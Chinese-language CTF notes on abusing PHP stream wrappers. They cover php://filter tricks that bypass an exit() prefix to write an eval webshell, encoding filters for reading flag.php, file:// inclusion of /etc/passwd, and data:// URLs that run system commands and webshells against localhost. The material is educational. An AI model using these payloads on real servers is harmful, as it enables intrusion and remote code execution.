写入
#题目
<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();'.$content);
highlight_file(__FILE__);
?>
源码如上,需要再服务器上写入一句话木马
payload如下:
#<?php phpinfo();?>
$filename='php://filter/convert.base64-decode/resource=feng.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
#<?php eval($_POST['cmd']);?>
$filename='php://filter/convert.base64-decode/resource=feng.php';
$content = 'aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
#<?php phpinfo();?> 不存在base64字符数量问题
$filename='php://filter/string.rot13/resource=feng.php';
$content='<?cuc cucvasb();?>';
<?php phpinfo();?>的base64编码是PD9waHAgcGhwaW5mbygpOz8+,为啥要加a呢?
base64解码的时候是4字节->3字节,对于不可识别的字符会跳过,对于<?php exit();
中,可以识别的只有phpexit,一共7个字节,因此前面加个一个字节,然后再加上<?php phpinfo();?>
base64加密的结果就可以了。可以尝试不加的话,生成的文件里有乱码,实现不了。
读取
如果读取的代码不需要执行,就需要先编码。
// 使用伪协议来读取
$flag = 'php://filter/convert.base64-encode/resource=flag.php';
include($flag);
//获取到flag.php的源代码,可以base64解码得到flag或者需要代码审计等。
php://filter/string.rot13/resource=flag.php //rot13
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
// 格式 php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
php://filter/convert.iconv.UTF-8.ASCII/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=a.php
// 支持的编码格式很多,可以在网上自行寻找
#解码
// 假设 $utf7String 是你从 UTF-7 编码转换得到的字符串
$utf7String = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ad86b86c79ef08b8b04532428fac7c7f+AH0'+ADs";
// 使用 iconv 函数将字符串从 UTF-7 转换为 UTF-8
$utf8String = iconv("UTF-7", "UTF-8", $utf7String);
// 输出转换后的 UTF-8 字符串
echo $utf8String;
过滤器
php://filter/convert.quoted-printable-encode/resource=flag.php
// 可以使用quoted_printable_decode()解码
压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php
// 这样会自动去选择解压还是压缩可能直接显示明文
php://input
应用场景:一般用来执行php任意命令,在php安全策略配置出现问题时才会有此问题
php://input:一般配合post输入,它提供了一种直接获取 POST 请求数据的方式,尤其适用于处理来自客户端的原始数据,适合执行php文件
$inputData = file_get_contents('php://input');
echo $inputData;//用户post输入的内容
file://
可以用于访问绝对路径和相对路径,当使用file伪协议时,可以指定文件的绝对路径,例如file:///path/to/file.php
,也可以指定相对路径,例如file://relative/path/to/file.php
也可以配合include协议进行文件包含(内容如果是php内容会执行,内容为php标签外的会打印)include "file://localhost/etc/passwd"
或include "file:///etc/passwd"
$content = file_get_contents('file://D:\php\chrpt1\1.txt');
echo $content;//文件被打印出来
data://
用来执行命令,需要前提:allow_url_fopen :on allow_url_include:on
执行命令:
普通:<?php phpinfo();?>
短标签:<?=phpinfo();?>
http://localhost:8000/?file=data:text/plain,<?=system("ipconfig");?>
# 这个在file后面加了//
http://localhost:8000/?file=data://text/plain,<?=system("ipconfig");?>
# 错误例子
# PD89cGhwaW5mbygpOz8+ 解码为<?php phpinfo();?> base64加密后有+号,而在浏览器get请求中+号表示空格,所以正确做法是把+号进行url编码,也就是将+号换为%2B
http://localhost:8000/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8+
# 正确例子
http://localhost:8000/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8%2B
# 一句话木马
http://localhost:8000/?file=data:text/plain,<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
# 一句话木马
PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg== 解码为<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
http://localhost:8000/test/a.php?file=data:text/plain;base64,PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg==